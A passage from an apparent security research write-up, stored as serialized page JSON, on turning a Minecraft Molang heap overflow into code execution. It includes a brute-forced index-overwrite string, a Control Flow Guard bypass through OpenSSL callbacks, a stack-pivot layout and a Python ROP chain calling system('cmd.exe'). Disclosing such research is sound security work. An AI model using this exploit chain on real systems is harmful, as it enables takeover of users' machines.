Therefore the first two bytes of the 4-byte overflow are irrelevant - only the last two bytes overwrite a single variable index.",{"type":26,"tag":39,"props":17587,"children":17588},{},[17589,17591,17596,17597,17602,17604,17609,17611,17616,17618,17623,17625,17631,17632,17638,17639,17645],{"type":32,"value":17590},"The main attack can be arranged by making the resulting index point at the ",{"type":26,"tag":83,"props":17592,"children":17594},{"className":17593},[],[17595],{"type":32,"value":12342},{"type":32,"value":16196},{"type":26,"tag":83,"props":17598,"children":17600},{"className":17599},[],[17601],{"type":32,"value":15380},{"type":32,"value":17603},". From there, the script can overwrite three variable indices at offset ",{"type":26,"tag":83,"props":17605,"children":17607},{"className":17606},[],[17608],{"type":32,"value":15134},{"type":32,"value":17610}," within the ",{"type":26,"tag":83,"props":17612,"children":17614},{"className":17613},[],[17615],{"type":32,"value":15380},{"type":32,"value":17617}," by using the string type. This works because a Molang string's value is just a ",{"type":26,"tag":83,"props":17619,"children":17621},{"className":17620},[],[17622],{"type":32,"value":15189},{"type":32,"value":17624}," FNV-1 hash; the required string can be found by brute-forcing until the hash contains the three target indices. For example, to overwrite three indices with values ",{"type":26,"tag":83,"props":17626,"children":17628},{"className":17627},[],[17629],{"type":32,"value":17630},"0xfb",{"type":32,"value":7599},{"type":26,"tag":83,"props":17633,"children":17635},{"className":17634},[],[17636],{"type":32,"value":17637},"0xfc",{"type":32,"value":1308},{"type":26,"tag":83,"props":17640,"children":17642},{"className":17641},[],[17643],{"type":32,"value":17644},"0xfd",{"type":32,"value":17646}," the script would do:",{"type":26,"tag":207,"props":17648,"children":17650},{"code":17649},"variable.corrupted_index_map_ptr = 'r80n3jsuc';\n",[17651],{"type":26,"tag":83,"props":17652,"children":17653},{"__ignoreMap":8},[17654],{"type":32,"value":17649},{"type":26,"tag":39,"props":17656,"children":17657},{},[17658,17660,17665,17667,17673,17675,17680],{"type":32,"value":17659},"That line would write the ",{"type":26,"tag":83,"props":17661,"children":17663},{"className":17662},[],[17664],{"type":32,"value":15189},{"type":32,"value":17666}," value ",{"type":26,"tag":83,"props":17668,"children":17670},{"className":17669},[],[17671],{"type":32,"value":17672},"0x302700fb00fc00fd",{"type":32,"value":17674}," (string's FNV-1 hash) into the allocated ",{"type":26,"tag":83,"props":17676,"children":17678},{"className":17677},[],[17679],{"type":32,"value":15380},{"type":32,"value":17681}," buffer, overwriting three indices with the required values and setting up the desired arbitrary read / write primitive state.",{"type":26,"tag":607,"props":17683,"children":17685},{"id":17684},"hijacking-execution",[17686],{"type":32,"value":17687},"Hijacking Execution",{"type":26,"tag":39,"props":17689,"children":17690},{},[17691,17693,17698,17700,17706],{"type":32,"value":17692},"Although we can read and write arbitrary values inside the Minecraft memory region - including many ",{"type":26,"tag":83,"props":17694,"children":17696},{"className":17695},[],[17697],{"type":32,"value":17232},{"type":32,"value":17699}," and function pointers in the writable ",{"type":26,"tag":83,"props":17701,"children":17703},{"className":17702},[],[17704],{"type":32,"value":17705},".data",{"type":32,"value":17707}," section - the exploit is not complete: Control Flow Guard (CFG) prevents us from gaining arbitrary code execution by overwriting those pointers and executing a ROP chain.",{"type":26,"tag":39,"props":17709,"children":17710},{},[17711],{"type":32,"value":17712},"CFG is a runtime mitigation that blocks indirect jumps/calls to unapproved addresses; it will crash on an indirect transfer to a location not in its valid-target set.",{"type":26,"tag":39,"props":17714,"children":17715},{},[17716],{"type":32,"value":17717},"Examining Minecraft-specific functions and their disassembly shows the following:",{"type":26,"tag":39,"props":17719,"children":17720},{},[17721],{"type":26,"tag":6468,"props":17722,"children":17724},{"alt":9464,"src":17723},"/posts/minecraft-heap-overflow-to-rce/image11.png",[],{"type":26,"tag":39,"props":17726,"children":17727},{},[17728,17730,17736,17738,17744,17746,17751,17753,17758,17760,17766,17768,17773,17775,17781,17783,17788],{"type":32,"value":17729},"This snippet calls a method on an object: ",{"type":26,"tag":83,"props":17731,"children":17733},{"className":17732},[],[17734],{"type":32,"value":17735},"rcx",{"type":32,"value":17737}," holds the object pointer, the first ",{"type":26,"tag":83,"props":17739,"children":17741},{"className":17740},[],[17742],{"type":32,"value":17743},"mov",{"type":32,"value":17745}," loads the object's ",{"type":26,"tag":83,"props":17747,"children":17749},{"className":17748},[],[17750],{"type":32,"value":17232},{"type":32,"value":17752}," into ",{"type":26,"tag":83,"props":17754,"children":17756},{"className":17755},[],[17757],{"type":32,"value":14235},{"type":32,"value":17759},", and the function pointer at ",{"type":26,"tag":83,"props":17761,"children":17763},{"className":17762},[],[17764],{"type":32,"value":17765},"rax + 0x8",{"type":32,"value":17767}," is read into ",{"type":26,"tag":83,"props":17769,"children":17771},{"className":17770},[],[17772],{"type":32,"value":14235},{"type":32,"value":17774},". Finally, ",{"type":26,"tag":83,"props":17776,"children":17778},{"className":17777},[],[17779],{"type":32,"value":17780},"__guard_dispatch_icall_fptr",{"type":32,"value":17782}," is called - this is the CFG dispatch function that validates ",{"type":26,"tag":83,"props":17784,"children":17786},{"className":17785},[],[17787],{"type":32,"value":14235},{"type":32,"value":17789}," as a legal call target before invoking it.",{"type":26,"tag":39,"props":17791,"children":17792},{},[17793],{"type":32,"value":17794},"All DLLs in the Minecraft directory are compiled with CFG. However, we later found an assembly snippet in the Minecraft executable that calls an object method directly, without a CFG dispatch:",{"type":26,"tag":39,"props":17796,"children":17797},{},[17798],{"type":26,"tag":6468,"props":17799,"children":17801},{"alt":9464,"src":17800},"/posts/minecraft-heap-overflow-to-rce/image12.png",[],{"type":26,"tag":39,"props":17803,"children":17804},{},[17805,17807,17813,17815,17821],{"type":32,"value":17806},"Here, the function pointer at ",{"type":26,"tag":83,"props":17808,"children":17810},{"className":17809},[],[17811],{"type":32,"value":17812},"vtable + 0x10",{"type":32,"value":17814}," is loaded into ",{"type":26,"tag":83,"props":17816,"children":17818},{"className":17817},[],[17819],{"type":32,"value":17820},"rdx",{"type":32,"value":17822}," and then called directly.",{"type":26,"tag":39,"props":17824,"children":17825},{},[17826],{"type":32,"value":17827},"This code comes from OpenSSL, and none of the OpenSSL-specific sections contain CFG dispatch calls. Presumably OpenSSL was compiled without CFG and then statically linked into the executable.",{"type":26,"tag":39,"props":17829,"children":17830},{},[17831,17833,17838],{"type":32,"value":17832},"So the remaining task is to locate OpenSSL function or ",{"type":26,"tag":83,"props":17834,"children":17836},{"className":17835},[],[17837],{"type":32,"value":17232},{"type":32,"value":17839}," pointers within Minecraft's writable sections and use those as overwrite targets to hijack execution.",{"type":26,"tag":631,"props":17841,"children":17843},{"id":17842},"locating-overwrite-targets",[17844],{"type":32,"value":17845},"Locating Overwrite Targets",{"type":26,"tag":39,"props":17847,"children":17848},{},[17849,17851,17857,17858,17863,17865,17870,17872,17878],{"type":32,"value":17850},"One of the first targets we identified were the ",{"type":26,"tag":83,"props":17852,"children":17854},{"className":17853},[],[17855],{"type":32,"value":17856},"malloc",{"type":32,"value":1308},{"type":26,"tag":83,"props":17859,"children":17861},{"className":17860},[],[17862],{"type":32,"value":12391},{"type":32,"value":17864}," callbacks. These reside in the ",{"type":26,"tag":83,"props":17866,"children":17868},{"className":17867},[],[17869],{"type":32,"value":17705},{"type":32,"value":17871}," section and are invoked whenever they don’t match the expected ",{"type":26,"tag":83,"props":17873,"children":17875},{"className":17874},[],[17876],{"type":32,"value":17877},"OPENSSL_malloc/free",{"type":32,"value":17879}," symbols:",{"type":26,"tag":39,"props":17881,"children":17882},{},[17883],{"type":26,"tag":6468,"props":17884,"children":17886},{"alt":9464,"src":17885},"/posts/minecraft-heap-overflow-to-rce/image13.png",[],{"type":26,"tag":39,"props":17888,"children":17889},{},[17890],{"type":32,"value":17891},"However, none of the registers held a pointer to a controllable region where we could place our ROP chain.",{"type":26,"tag":39,"props":17893,"children":17894},{},[17895,17897,17903,17905,17911,17913,17918],{"type":32,"value":17896},"Later, we found another promising function: ",{"type":26,"tag":83,"props":17898,"children":17900},{"className":17899},[],[17901],{"type":32,"value":17902},"ossl_ec_key_new_method_int",{"type":32,"value":17904},". This function creates and initializes an ",{"type":26,"tag":83,"props":17906,"children":17908},{"className":17907},[],[17909],{"type":32,"value":17910},"EC_KEY",{"type":32,"value":17912}," object. What makes it particularly interesting is that it relies on a global structure (in ",{"type":26,"tag":83,"props":17914,"children":17916},{"className":17915},[],[17917],{"type":32,"value":17705},{"type":32,"value":17919},") containing function pointers:",{"type":26,"tag":39,"props":17921,"children":17922},{},[17923],{"type":26,"tag":6468,"props":17924,"children":17926},{"alt":9464,"src":17925},"/posts/minecraft-heap-overflow-to-rce/image14.png",[],{"type":26,"tag":39,"props":17928,"children":17929},{},[17930,17932,17938,17940,17946,17948,17953,17955,17961,17963,17969,17971,17977,17979,17984],{"type":32,"value":17931},"In the image above, ",{"type":26,"tag":83,"props":17933,"children":17935},{"className":17934},[],[17936],{"type":32,"value":17937},"ret->meth",{"type":32,"value":17939}," is set to ",{"type":26,"tag":83,"props":17941,"children":17943},{"className":17942},[],[17944],{"type":32,"value":17945},"default_ec_key_meth",{"type":32,"value":17947},", which points to a structure of function pointers located in ",{"type":26,"tag":83,"props":17949,"children":17951},{"className":17950},[],[17952],{"type":32,"value":17705},{"type":32,"value":17954},". It then calls ",{"type":26,"tag":83,"props":17956,"children":17958},{"className":17957},[],[17959],{"type":32,"value":17960},"ret->meth->init",{"type":32,"value":17962},", passing the ",{"type":26,"tag":83,"props":17964,"children":17966},{"className":17965},[],[17967],{"type":32,"value":17968},"this",{"type":32,"value":17970}," pointer (",{"type":26,"tag":83,"props":17972,"children":17974},{"className":17973},[],[17975],{"type":32,"value":17976},"ret",{"type":32,"value":17978},"). This alone isn’t especially useful because ",{"type":26,"tag":83,"props":17980,"children":17982},{"className":17981},[],[17983],{"type":32,"value":17976},{"type":32,"value":17985}," is heap-allocated.",{"type":26,"tag":39,"props":17987,"children":17988},{},[17989,17991,17996],{"type":32,"value":17990},"But, if we look at how ",{"type":26,"tag":83,"props":17992,"children":17994},{"className":17993},[],[17995],{"type":32,"value":17960},{"type":32,"value":17997}," is invoked in the disassembly:",{"type":26,"tag":39,"props":17999,"children":18000},{},[18001],{"type":26,"tag":6468,"props":18002,"children":18004},{"alt":9464,"src":18003},"/posts/minecraft-heap-overflow-to-rce/image15.png",[],{"type":26,"tag":39,"props":18006,"children":18007},{},[18008,18010,18015,18017,18023,18025,18030,18032,18037,18039,18044,18046,18051,18053,18058,18060,18066],{"type":32,"value":18009},"If ",{"type":26,"tag":83,"props":18011,"children":18013},{"className":18012},[],[18014],{"type":32,"value":17960},{"type":32,"value":18016}," is not ",{"type":26,"tag":83,"props":18018,"children":18020},{"className":18019},[],[18021],{"type":32,"value":18022},"NULL",{"type":32,"value":18024},", it is called while ",{"type":26,"tag":83,"props":18026,"children":18028},{"className":18027},[],[18029],{"type":32,"value":14235},{"type":32,"value":18031}," still contains the value of ",{"type":26,"tag":83,"props":18033,"children":18035},{"className":18034},[],[18036],{"type":32,"value":17937},{"type":32,"value":18038}," - that is, a pointer to the structure in ",{"type":26,"tag":83,"props":18040,"children":18042},{"className":18041},[],[18043],{"type":32,"value":17705},{"type":32,"value":18045}," that we control. This is ideal, because we can overwrite ",{"type":26,"tag":83,"props":18047,"children":18049},{"className":18048},[],[18050],{"type":32,"value":17945},{"type":32,"value":18052}," with a pointer to a region in ",{"type":26,"tag":83,"props":18054,"children":18056},{"className":18055},[],[18057],{"type":32,"value":17705},{"type":32,"value":18059}," where our ROP chain is located, and then perform a stack pivot using a ",{"type":26,"tag":83,"props":18061,"children":18063},{"className":18062},[],[18064],{"type":32,"value":18065},"mov rsp, rax; ret",{"type":32,"value":18067},"-style gadget.",{"type":26,"tag":39,"props":18069,"children":18070},{},[18071,18073,18078,18080,18085],{"type":32,"value":18072},"Although we discovered that ",{"type":26,"tag":83,"props":18074,"children":18076},{"className":18075},[],[18077],{"type":32,"value":17902},{"type":32,"value":18079}," is never called by the Minecraft process, this did not turn out to be a problem as we had already found a way to trigger arbitrary function calls through the ",{"type":26,"tag":83,"props":18081,"children":18083},{"className":18082},[],[18084],{"type":32,"value":17877},{"type":32,"value":18086}," callbacks.",{"type":26,"tag":631,"props":18088,"children":18090},{"id":18089},"stack-pivot",[18091],{"type":32,"value":18092},"Stack Pivot",{"type":26,"tag":39,"props":18094,"children":18095},{},[18096,18098,18103,18105,18110,18112,18117,18119,18125],{"type":32,"value":18097},"At this point, the plan is as follows: write our ROP chain into a controlled region of ",{"type":26,"tag":83,"props":18099,"children":18101},{"className":18100},[],[18102],{"type":32,"value":17705},{"type":32,"value":18104},", overwrite ",{"type":26,"tag":83,"props":18106,"children":18108},{"className":18107},[],[18109],{"type":32,"value":17945},{"type":32,"value":18111}," to set up the stack pivot, and finally overwrite one of the callbacks so that calling it triggers ",{"type":26,"tag":83,"props":18113,"children":18115},{"className":18114},[],[18116],{"type":32,"value":17902},{"type":32,"value":18118},". This ultimately calls ",{"type":26,"tag":83,"props":18120,"children":18122},{"className":18121},[],[18123],{"type":32,"value":18124},"default_ec_key_meth->init",{"type":32,"value":18126},", which executes the pivot and begins ROP execution.",{"type":26,"tag":39,"props":18128,"children":18129},{},[18130,18132,18138,18140,18146],{"type":32,"value":18131},"We chose to overwrite the ",{"type":26,"tag":83,"props":18133,"children":18135},{"className":18134},[],[18136],{"type":32,"value":18137},"OPENSSL_free",{"type":32,"value":18139}," callback. This produces only a minor memory leak, while overwriting ",{"type":26,"tag":83,"props":18141,"children":18143},{"className":18142},[],[18144],{"type":32,"value":18145},"OPENSSL_malloc",{"type":32,"value":18147}," would require our replacement function to return a writable, unused memory region.",{"type":26,"tag":39,"props":18149,"children":18150},{},[18151,18153,18159,18160,18166,18168,18173],{"type":32,"value":18152},"For the stack pivot, we found two useful gadgets: ",{"type":26,"tag":83,"props":18154,"children":18156},{"className":18155},[],[18157],{"type":32,"value":18158},"add rsp, 0x10; pop r14; ret",{"type":32,"value":1308},{"type":26,"tag":83,"props":18161,"children":18163},{"className":18162},[],[18164],{"type":32,"value":18165},"xchg rsp, rax; ret",{"type":32,"value":18167},". The exploit writes them into ",{"type":26,"tag":83,"props":18169,"children":18171},{"className":18170},[],[18172],{"type":32,"value":17705},{"type":32,"value":18174}," like this:",{"type":26,"tag":207,"props":18176,"children":18178},{"code":18177},"      +-----------------------------+\n+0x00 | add rsp, 0x10; pop r14; ret |\n      +-----------------------------+\n+0x08 | padding                     |\n      +-----------------------------+\n+0x10 | xchg rsp, rax; ret          |\n      +-----------------------------+\n+0x18 | padding (pop r14)           |\n      +-----------------------------+\n+0x20 | ROP Chain                   |\n      +-----------------------------+\n",[18179],{"type":26,"tag":83,"props":18180,"children":18181},{"__ignoreMap":8},[18182],{"type":32,"value":18177},{"type":26,"tag":39,"props":18184,"children":18185},{},[18186,18188,18193,18195,18201,18203,18208,18210,18215,18217,18222,18224,18229,18231,18236],{"type":32,"value":18187},"The second gadget, ",{"type":26,"tag":83,"props":18189,"children":18191},{"className":18190},[],[18192],{"type":32,"value":18165},{"type":32,"value":18194},", is placed in the slot corresponding to the ",{"type":26,"tag":83,"props":18196,"children":18198},{"className":18197},[],[18199],{"type":32,"value":18200},"init",{"type":32,"value":18202}," function pointer. As mentioned earlier, when ",{"type":26,"tag":83,"props":18204,"children":18206},{"className":18205},[],[18207],{"type":32,"value":17960},{"type":32,"value":18209}," is called, ",{"type":26,"tag":83,"props":18211,"children":18213},{"className":18212},[],[18214],{"type":32,"value":14235},{"type":32,"value":18216}," contains a pointer to ",{"type":26,"tag":83,"props":18218,"children":18220},{"className":18219},[],[18221],{"type":32,"value":17945},{"type":32,"value":18223}," - which we have overwritten and now points to our ",{"type":26,"tag":83,"props":18225,"children":18227},{"className":18226},[],[18228],{"type":32,"value":18158},{"type":32,"value":18230}," gadget in ",{"type":26,"tag":83,"props":18232,"children":18234},{"className":18233},[],[18235],{"type":32,"value":17705},{"type":32,"value":180},{"type":26,"tag":39,"props":18238,"children":18239},{},[18240,18242,18248,18250,18255,18257,18263,18265,18270,18272,18277,18279,18284,18286,18292,18294,18299,18301,18306],{"type":32,"value":18241},"When the call occurs, ",{"type":26,"tag":83,"props":18243,"children":18245},{"className":18244},[],[18246],{"type":32,"value":18247},"xchg rsp, rax",{"type":32,"value":18249}," swaps the stack pointer with this controlled pointer inside ",{"type":26,"tag":83,"props":18251,"children":18253},{"className":18252},[],[18254],{"type":32,"value":17705},{"type":32,"value":18256},", effectively moving ",{"type":26,"tag":83,"props":18258,"children":18260},{"className":18259},[],[18261],{"type":32,"value":18262},"rsp",{"type":32,"value":18264}," into our ROP region. After the ",{"type":26,"tag":83,"props":18266,"children":18268},{"className":18267},[],[18269],{"type":32,"value":17976},{"type":32,"value":18271},", execution continues at ",{"type":26,"tag":83,"props":18273,"children":18275},{"className":18274},[],[18276],{"type":32,"value":18158},{"type":32,"value":18278},", which advances ",{"type":26,"tag":83,"props":18280,"children":18282},{"className":18281},[],[18283],{"type":32,"value":18262},{"type":32,"value":18285}," by ",{"type":26,"tag":83,"props":18287,"children":18289},{"className":18288},[],[18290],{"type":32,"value":18291},"0x18",{"type":32,"value":18293}," bytes, skipping over the padding and the ",{"type":26,"tag":83,"props":18295,"children":18297},{"className":18296},[],[18298],{"type":32,"value":18165},{"type":32,"value":18300}," gadget. From there, the stack pivot is complete and the ROP chain (placed above ",{"type":26,"tag":83,"props":18302,"children":18304},{"className":18303},[],[18305],{"type":32,"value":18165},{"type":32,"value":18307},") begins executing.",{"type":26,"tag":607,"props":18309,"children":18311},{"id":18310},"rop-chain",[18312],{"type":32,"value":18313},"ROP Chain",{"type":26,"tag":39,"props":18315,"children":18316},{},[18317,18319,18325,18327,18333],{"type":32,"value":18318},"For the demo, the ROP chain simply calls ",{"type":26,"tag":83,"props":18320,"children":18322},{"className":18321},[],[18323],{"type":32,"value":18324},"system(\"cmd.exe\")",{"type":32,"value":18326},". Because Minecraft does not use ",{"type":26,"tag":83,"props":18328,"children":18330},{"className":18329},[],[18331],{"type":32,"value":18332},"system",{"type":32,"value":18334},", the symbol is not imported, so the chain must resolve it dynamically.",{"type":26,"tag":39,"props":18336,"children":18337},{},[18338,18340,18346,18348,18354,18356,18361,18363,18369,18371,18376],{"type":32,"value":18339},"This is straightforward: the chain first calls ",{"type":26,"tag":83,"props":18341,"children":18343},{"className":18342},[],[18344],{"type":32,"value":18345},"GetModuleHandle(\"ucrtbase.dll\")",{"type":32,"value":18347}," to obtain the base address of ",{"type":26,"tag":83,"props":18349,"children":18351},{"className":18350},[],[18352],{"type":32,"value":18353},"ucrtbase.dll",{"type":32,"value":18355}," (which exports ",{"type":26,"tag":83,"props":18357,"children":18359},{"className":18358},[],[18360],{"type":32,"value":18332},{"type":32,"value":18362},"). It then calls ",{"type":26,"tag":83,"props":18364,"children":18366},{"className":18365},[],[18367],{"type":32,"value":18368},"GetProcAddress(ucrtbase_addr, \"system\")",{"type":32,"value":18370}," to retrieve the function’s address. Finally, it invokes ",{"type":26,"tag":83,"props":18372,"children":18374},{"className":18373},[],[18375],{"type":32,"value":18332},{"type":32,"value":18377}," with the \"cmd.exe\" string.",{"type":26,"tag":39,"props":18379,"children":18380},{},[18381],{"type":32,"value":18382},"In the exploit script, the ROP chain looks something like this:",{"type":26,"tag":207,"props":18384,"children":18388},{"code":18385,"language":18386,"meta":8,"className":18387,"style":8},"# get the address of `GetModuleHandle` to `rax`\nrop.gadget(pop_r8)\nrop.gadget(addr_get_module_handle_a - 0x28)\n# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\nrop.gadget(mov_rax_r8_28)\n\n# call `GetModuleHandle(\"ucrtbase.dll\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468B68) # offset of \"ucrtbase.dll\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `GetModuleHandle`\nrop.literal(u64(b\"ucrtbase\"))\nrop.literal(u64(b\".dll\\x00\\x00\\x00\\x00\"))\nrop.literal(u64(b\"system\\x00\\x00\"))\n\n# call `GetProcAddress(ucrtbase_base, \"system\")`\nrop.gadget(xchg_rcx_rax) # move the return value of `GetModuleHandle` to rcx\nrop.gadget(pop_rdx)\nrop.gadget(0x7468B68 + 0x10) # offset of \"system\" string\nrop.gadget(get_proc_addr)\n\n# call `system(\"cmd.exe\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468DB8) # offset of \"cmd.exe\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `system`\nrop.literal(u64(b\"cmd.exe\\x00\"))\n","python","language-python shiki shiki-themes slack-dark",[18389],{"type":26,"tag":83,"props":18390,"children":18391},{"__ignoreMap":8},[18392,18400,18408,18435,18443,18451,18458,18466,18474,18501,18514,18527,18549,18578,18607,18614,18622,18635,18643,18680,18688,18695,18703,18710,18735,18746,18758],{"type":26,"tag":217,"props":18393,"children":18394},{"class":7028,"line":7029},[18395],{"type":26,"tag":217,"props":18396,"children":18397},{"style":7033},[18398],{"type":32,"value":18399},"# get the address of `GetModuleHandle` to `rax`\n",{"type":26,"tag":217,"props":18401,"children":18402},{"class":7028,"line":6770},[18403],{"type":26,"tag":217,"props":18404,"children":18405},{"style":7048},[18406],{"type":32,"value":18407},"rop.gadget(pop_r8)\n",{"type":26,"tag":217,"props":18409,"children":18410},{"class":7028,"line":6779},[18411,18416,18421,18426,18431],{"type":26,"tag":217,"props":18412,"children":18413},{"style":7048},[18414],{"type":32,"value":18415},"rop.gadget(addr_get_module_handle_a ",{"type":26,"tag":217,"props":18417,"children":18418},{"style":7149},[18419],{"type":32,"value":18420},"-",{"type":26,"tag":217,"props":18422,"children":18423},{"style":7154},[18424],{"type":32,"value":18425}," 0x",{"type":26,"tag":217,"props":18427,"children":18428},{"style":7130},[18429],{"type":32,"value":18430},"28",{"type":26,"tag":217,"props":18432,"children":18433},{"style":7048},[18434],{"type":32,"value":10025},{"type":26,"tag":217,"props":18436,"children":18437},{"class":7028,"line":7140},[18438],{"type":26,"tag":217,"props":18439,"children":18440},{"style":7033},[18441],{"type":32,"value":18442},"# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\n",{"type":26,"tag":217,"props":18444,"children":18445},{"class":7028,"line":7165},[18446],{"type":26,"tag":217,"props":18447,"children":18448},{"style":7048},[18449],{"type":32,"value":18450},"rop.gadget(mov_rax_r8_28)\n",{"type":26,"tag":217,"props":18452,"children":18453},{"class":7028,"line":7178},[18454],{"type":26,"tag":217,"props":18455,"children":18456},{"emptyLinePlaceholder":17},[18457],{"type":32,"value":7817},{"type":26,"tag":217,"props":18459,"children":18460},{"class":7028,"line":7389},[18461],{"type":26,"tag":217,"props":18462,"children":18463},{"style":7033},[18464],{"type":32,"value":18465},"# call `GetModuleHandle(\"ucrtbase.dll\")`\n",{"type":26,"tag":217,"props":18467,"children":18468},{"class":7028,"line":7406},[18469],{"type":26,"tag":217,"props":18470,"children":18471},{"style":7048},[18472],{"type":32,"value":18473},"rop.gadget(pop_rcx)\n",{"type":26,"tag":217,"props":18475,"children":18476},{"class":7028,"line":7439},[18477,18482,18487,18492,18496],{"type":26,"tag":217,"props":18478,"children":18479},{"style":7048},[18480],{"type":32,"value":18481},"rop.gadget(",{"type":26,"tag":217,"props":18483,"children":18484},{"style":7154},[18485],{"type":32,"value":18486},"0x",{"type":26,"tag":217,"props":18488,"children":18489},{"style":7130},[18490],{"type":32,"value":18491},"7468B68",{"type":26,"tag":217,"props":18493,"children":18494},{"style":7048},[18495],{"type":32,"value":8380},{"type":26,"tag":217,"props":18497,"children":18498},{"style":7033},[18499],{"type":32,"value":18500},"# offset of \"ucrtbase.dll\" string\n",{"type":26,"tag":217,"props":18502,"children":18503},{"class":7028,"line":7487},[18504,18509],{"type":26,"tag":217,"props":18505,"children":18506},{"style":7048},[18507],{"type":32,"value":18508},"rop.gadget(ret) ",{"type":26,"tag":217,"props":18510,"children":18511},{"style":7033},[18512],{"type":32,"value":18513},"# movaps alignment\n",{"type":26,"tag":217,"props":18515,"children":18516},{"class":7028,"line":7524},[18517,18522],{"type":26,"tag":217,"props":18518,"children":18519},{"style":7048},[18520],{"type":32,"value":18521},"rop.gadget(push_rax_ret) ",{"type":26,"tag":217,"props":18523,"children":18524},{"style":7033},[18525],{"type":32,"value":18526},"# calls `GetModuleHandle`\n",{"type":26,"tag":217,"props":18528,"children":18529},{"class":7028,"line":7553},[18530,18535,18539,18544],{"type":26,"tag":217,"props":18531,"children":18532},{"style":7048},[18533],{"type":32,"value":18534},"rop.literal(u64(",{"type":26,"tag":217,"props":18536,"children":18537},{"style":7154},[18538],{"type":32,"value":14783},{"type":26,"tag":217,"props":18540,"children":18541},{"style":7338},[18542],{"type":32,"value":18543},"\"ucrtbase\"",{"type":26,"tag":217,"props":18545,"children":18546},{"style":7048},[18547],{"type":32,"value":18548},"))\n",{"type":26,"tag":217,"props":18550,"children":18551},{"class":7028,"line":7570},[18552,18556,18560,18565,18570,18574],{"type":26,"tag":217,"props":18553,"children":18554},{"style":7048},[18555],{"type":32,"value":18534},{"type":26,"tag":217,"props":18557,"children":18558},{"style":7154},[18559],{"type":32,"value":14783},{"type":26,"tag":217,"props":18561,"children":18562},{"style":7338},[18563],{"type":32,"value":18564},"\".dll",{"type":26,"tag":217,"props":18566,"children":18567},{"style":8604},[18568],{"type":32,"value":18569},"\\x00\\x00\\x00\\x00",{"type":26,"tag":217,"props":18571,"children":18572},{"style":7338},[18573],{"type":32,"value":9007},{"type":26,"tag":217,"props":18575,"children":18576},{"style":7048},[18577],{"type":32,"value":18548},{"type":26,"tag":217,"props":18579,"children":18580},{"class":7028,"line":7621},[18581,18585,18589,18594,18599,18603],{"type":26,"tag":217,"props":18582,"children":18583},{"style":7048},[18584],{"type":32,"value":18534},{"type":26,"tag":217,"props":18586,"children":18587},{"style":7154},[18588],{"type":32,"value":14783},{"type":26,"tag":217,"props":18590,"children":18591},{"style":7338},[18592],{"type":32,"value":18593},"\"system",{"type":26,"tag":217,"props":18595,"children":18596},{"style":8604},[18597],{"type":32,"value":18598},"\\x00\\x00",{"type":26,"tag":217,"props":18600,"children":18601},{"style":7338},[18602],{"type":32,"value":9007},{"type":26,"tag":217,"props":18604,"children":18605},{"style":7048},[18606],{"type":32,"value":18548},{"type":26,"tag":217,"props":18608,"children":18609},{"class":7028,"line":7672},[18610],{"type":26,"tag":217,"props":18611,"children":18612},{"emptyLinePlaceholder":17},[18613],{"type":32,"value":7817},{"type":26,"tag":217,"props":18615,"children":18616},{"class":7028,"line":7681},[18617],{"type":26,"tag":217,"props":18618,"children":18619},{"style":7033},[18620],{"type":32,"value":18621},"# call `GetProcAddress(ucrtbase_base, \"system\")`\n",{"type":26,"tag":217,"props":18623,"children":18624},{"class":7028,"line":7754},[18625,18630],{"type":26,"tag":217,"props":18626,"children":18627},{"style":7048},[18628],{"type":32,"value":18629},"rop.gadget(xchg_rcx_rax) ",{"type":26,"tag":217,"props":18631,"children":18632},{"style":7033},[18633],{"type":32,"value":18634},"# move the return value of `GetModuleHandle` to rcx\n",{"type":26,"tag":217,"props":18636,"children":18637},{"class":7028,"line":7784},[18638],{"type":26,"tag":217,"props":18639,"children":18640},{"style":7048},[18641],{"type":32,"value":18642},"rop.gadget(pop_rdx)\n",{"type":26,"tag":217,"props":18644,"children":18645},{"class":7028,"line":7802},[18646,18650,18654,18658,18662,18666,18671,18675],{"type":26,"tag":217,"props":18647,"children":18648},{"style":7048},[18649],{"type":32,"value":18481},{"type":26,"tag":217,"props":18651,"children":18652},{"style":7154},[18653],{"type":32,"value":18486},{"type":26,"tag":217,"props":18655,"children":18656},{"style":7130},[18657],{"type":32,"value":18491},{"type":26,"tag":217,"props":18659,"children":18660},{"style":7149},[18661],{"type":32,"value":9025},{"type":26,"tag":217,"props":18663,"children":18664},{"style":7154},[18665],{"type":32,"value":18425},{"type":26,"tag":217,"props":18667,"children":18668},{"style":7130},[18669],{"type":32,"value":18670},"10",{"type":26,"tag":217,"props":18672,"children":18673},{"style":7048},[18674],{"type":32,"value":8380},{"type":26,"tag":217,"props":18676,"children":18677},{"style":7033},[18678],{"type":32,"value":18679},"# offset of \"system\" string\n",{"type":26,"tag":217,"props":18681,"children":18682},{"class":7028,"line":7811},[18683],{"type":26,"tag":217,"props":18684,"children":18685},{"style":7048},[18686],{"type":32,"value":18687},"rop.gadget(get_proc_addr)\n",{"type":26,"tag":217,"props":18689,"children":18690},{"class":7028,"line":7820},[18691],{"type":26,"tag":217,"props":18692,"children":18693},{"emptyLinePlaceholder":17},[18694],{"type":32,"value":7817},{"type":26,"tag":217,"props":18696,"children":18697},{"class":7028,"line":7844},[18698],{"type":26,"tag":217,"props":18699,"children":18700},{"style":7033},[18701],{"type":32,"value":18702},"# call `system(\"cmd.exe\")`\n",{"type":26,"tag":217,"props":18704,"children":18705},{"class":7028,"line":7910},[18706],{"type":26,"tag":217,"props":18707,"children":18708},{"style":7048},[18709],{"type":32,"value":18473},{"type":26,"tag":217,"props":18711,"children":18712},{"class":7028,"line":7954},[18713,18717,18721,18726,18730],{"type":26,"tag":217,"props":18714,"children":18715},{"style":7048},[18716],{"type":32,"value":18481},{"type":26,"tag":217,"props":18718,"children":18719},{"style":7154},[18720],{"type":32,"value":18486},{"type":26,"tag":217,"props":18722,"children":18723},{"style":7130},[18724],{"type":32,"value":18725},"7468DB8",{"type":26,"tag":217,"props":18727,"children":18728},{"style":7048},[18729],{"type":32,"value":8380},{"type":26,"tag":217,"props":18731,"children":18732},{"style":7033},[18733],{"type":32,"value":18734},"# offset of \"cmd.exe\" 